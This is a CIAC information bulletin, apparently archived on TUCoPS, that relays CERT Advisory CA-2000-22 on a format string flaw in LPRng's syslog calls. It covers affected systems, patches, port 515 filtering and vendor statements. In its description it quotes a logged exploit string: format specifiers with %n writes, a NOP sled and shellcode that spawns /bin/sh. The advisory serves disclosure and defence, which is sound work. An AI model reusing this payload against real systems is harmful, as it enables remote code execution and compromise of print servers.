LPRng Format String Vulnerability
Privacy and Legal Notice
CIAC INFORMATION BULLETIN
L-025: LPRng Format String Vulnerability
December 13, 2000 16:00 GMT
PROBLEM: A format string vulnerability has been discovered in LPRng.
PLATFORM: Systems running unpatched LPRng software.
Caldera Systems:
OpenLinux Desktop 2.3 All packages previous to
LPRng-3.5.3-3
OpenLinux eServer 2.3 All packages previous to
and OpenLinux eBuilder LPRng-3.5.3-3
OpenLinux eDesktop 2.4 All packages previous to
LPRng-3.5.3-3
FreeBSD with LPRng port versions prior to FreeBSD 4.2
NetBSD (not the base system but a third-party package)
RedHat LPRng Version 3.6.24 and earlier.
DAMAGE: This vulnerability may allow remote users to execute
arbitrary code on vulnerable systems. In addition, the printing
service may be disrupted or disabled entirely.
SOLUTION: Apply the vendor patches as directed.
VULNERABILITY The risk is HIGH. Tools exploiting this vulnerability have been
ASSESSMENT: posted to public forums.
[***** Start CERT Advisory *****]
CERT Advisory CA-2000-22 Input Validation Problems in LPRng
Original release date: December 12, 2000
Last updated: --
Source: CERT/CC
A complete revision history is at the end of this file.
Systems Affected
* Systems running unpatched LPRng software
Overview
A popular replacement software package to the BSD lpd printing service
called LPRng contains at least one software defect, known as a "format
string vulnerability,"[1] which may allow remote users to execute
arbitrary code on vulnerable systems.
I. Description
LPRng, now being packaged in several open-source operating system
distributions, has a missing format string argument in at least two
calls to the syslog() function.
Missing format strings in function calls allow user-supplied arguments
to be passed to a susceptible *snprintf() function call. Remote users
with access to the printer port (port 515/tcp) may be able to pass
format-string parameters that can overwrite arbitrary addresses in the
printing service's address space. Such overwriting can cause
segmentation violations leading to denial of printing services or to
the execution of arbitrary code injected through other means into the
memory segments of the printer service.
Sample syslog entries from successful exploitation of this
vulnerability have been reported, as follows:
Nov 26 10:01:00 foo SERVER[12345]: Dispatch_input: bad request line
'BB{E8}{F3}{FF}{BF}{E9}{F3}{FF}{BF}{EA}{F3}{FF}{BF}{EB}{F3}{FF}{BF}
XXXXXXXXXXXXXXXXXX%.168u%300$nsecurity.%301 $nsecurity%302$n%.192u%303$n
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}
1{DB}1{C9}1{C0}{B0}F{CD}{80}{89}{E5}1{D2}{B2}f{89}{D0}1{C9}{89}{CB}C{89}
]{F8}C{89}]{F4}K{89}M{FC}{8D}M{F4}{CD}{80}1{C9}{89}E{F4}Cf{89}]{EC}f{C7}
E{EE}{F}'{89}M{F0}{8D}E{EC}{89}E{F8}{C6}E{FC}{10}{89}{D0}{8D}
M{F4}{CD}{80}{89}{D0}CC{CD}{80}{89}{D0}C{CD}{80}{89}{C3}1{C9}{B2}
?{89}{D0}{CD}{80}{89}{D0}A{CD}{80}{EB}{18}^{89}u{8}1{C0}{88}F{7}{89}
E{C}{B0}{B}{89}{F3}{8D}M{8}{8D}U{C}{CD}{80}{E8}{E3}{FF}{FF}{FF}/bin/sh{A}'
This vulnerability has been assigned the identifier CAN-2000-0917 by
the Common Vulnerabilities and Exposures (CVE) group:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0917
The CERT/CC has received reports of extensive probing to port 515/tcp.
In addition, we have received some reports of systems compromised
using this vulnerability. Tools exploiting this vulnerability have
been posted to public forums.
II. Impact
A remote user may be able to execute arbitrary code with elevated
privileges.
In addition, the printing service may be disrupted or disabled
entirely.
III. Solution
Apply a patch from your vendor
Upgrade to a non-vulnerable version of LPRng (3.6.25), as described in
the vendor sections below. Alternately, you can obtain the version of
LPRng which fixes the missing format string at:
ftp://ftp.astart.com/pub/LPRng/LPRng/LPRng-3.6.25.tgz
Disallow access to printer service ports (typically 515/tcp) using firewall
or packet-filtering technologies
Blocking access to the vulnerable service will limit your exposure to
attacks from outside your network perimeter. However, the
vulnerability would still allow local users to gain privileges they
normally shouldn't have; in addition, blocking port 515/tcp at a
network perimeter would still allow any remote user inside the
perimeter to exploit the vulnerability.
Appendix A. Vendor Information
Apple
Apple has conducted an investigation and determined that Mac OS X
Public Beta and Mac OS X Server do not use LPRng and are therefore not
vulnerable to this exploitation.
Caldera OpenLinux
See CSSA-2000-033.0 "format bug in LPRng" at:
http://www.calderasystems.com/support/security/advisories/CSSA-
2000-033.0.txt
Compaq Computer Corporation
Compaq Tru64 UNIX S/W is not vulnerable.
FreeBSD
FreeBSD does not include LPRng in the base system. Older versions of
FreeBSD included a vulnerable version of LPRng in the Ports Collection
but this was corrected almost 2 months ago, prior to the release of
FreeBSD 4.2. See FreeBSD Security Advisory 00:56
(ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:56.lp
rng.asc) for more information.
Hewlett-Packard Company
This does not apply to HP; HP does not ship LPRng on HP-UX.
IBM
IBM's AIX operating system is not vulnerable to this security exploit.
Microsoft Corporation
Microsoft doesn't use LPRng in any of its products, so no Microsoft
products are affected by the vulnerability.
NetBSD
NetBSD does not include LPRng in the base system; however we do have a
third-party package of LPRng-3.6.8 which is vulnerable. There's work
underway to upgrade it to a non-vulnerable version.
OpenBSD
OpenBSD does not ship lprng.
RedHat
LPRng Version 3.6.24 and earlier is vulnerable.
See RHSA-2000:065-04 at:
http://www.redhat.com/support/errata/RHSA-2000-065-06.html
SGI
IRIX does not contain LPRng support.
SuSE
SuSE is not vulnerable. Please see additional comments at:
http://lists.suse.com/archives/suse-security/2000-Sep/0259.html
References
1. VU#382365: LPRng can pass user-supplied input as a format string
parameter to syslog() calls, CERT/CC, 10/06/2000,
https://www.kb.cert.org/vuls/id/382365
_________________________________________________________________
The CERT Coordination Center thanks Chris Evans for his initial report
on the vulnerability described in this advisory.
_________________________________________________________________
Author: This document was written by Jeffrey S Havrilla. Feedback on
this advisory is appreciated.
______________________________________________________________________
This document is available from:
http://www.cert.org/advisories/CA-2000-22.html
______________________________________________________________________
CERT/CC Contact Information
Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.
CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
Monday through Friday; they are on call for emergencies during other
hours, on U.S. holidays, and on weekends.
Using encryption
We strongly urge you to encrypt sensitive information sent by email.
Our public PGP key is available from
http://www.cert.org/CERT_PGP.key
If you prefer to use DES, please call the CERT hotline for more
information.
Getting security information
CERT publications and other security information are available from
our web site
http://www.cert.org/
To subscribe to the CERT mailing list for advisories and bulletins,
send email to majordomo@cert.org. Please include in the body of your
message
subscribe cert-advisory
* "CERT" and "CERT Coordination Center" are registered in the U.S.
Patent and Trademark Office.
______________________________________________________________________
NO WARRANTY
Any material furnished by Carnegie Mellon University and the Software
Engineering Institute is furnished on an "as is" basis. Carnegie
Mellon University makes no warranties of any kind, either expressed or
implied as to any matter including, but not limited to, warranty of
fitness for a particular purpose or merchantability, exclusivity or
results obtained from use of the material. Carnegie Mellon University
does not make any warranty of any kind with respect to freedom from
patent, trademark, or copyright infringement.
_________________________________________________________________
Conditions for use, disclaimers, and sponsorship information
Copyright 2000 Carnegie Mellon University.
Revision History
Dec 12, 2000: Initial Release
[***** End CERT Advisory *****]
CIAC wishes to acknowledge the contributions of CERT(R) Coordination Center for the
information contained in this bulletin.
CIAC services are available to DOE, DOE Contractors, and the NIH. CIAC
can be contacted at:
Voice: +1 925-422-8193 (7 x 24)
FAX: +1 925-423-8002
STU-III: +1 925-423-2604
E-mail: ciac@llnl.gov
World Wide Web: http://www.ciac.org/
http://ciac.llnl.gov
(same machine -- either one will work)
Anonymous FTP: ftp.ciac.org
ciac.llnl.gov
(same machine -- either one will work)
This document was prepared as an account of work sponsored by an
agency of the United States Government. Neither the United States
Government nor the University of California nor any of their
employees, makes any warranty, express or implied, or assumes any
legal liability or responsibility for the accuracy, completeness, or
usefulness of any information, apparatus, product, or process
disclosed, or represents that its use would not infringe privately
owned rights. Reference herein to any specific commercial products,
process, or service by trade name, trademark, manufacturer, or
otherwise, does not necessarily constitute or imply its endorsement,
recommendation or favoring by the United States Government or the
University of California. The views and opinions of authors expressed
herein do not necessarily state or reflect those of the United States
Government or the University of California, and shall not be used for
advertising or product endorsement purposes.
UCRL-MI-119788
[Privacy and Legal Notice]
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH
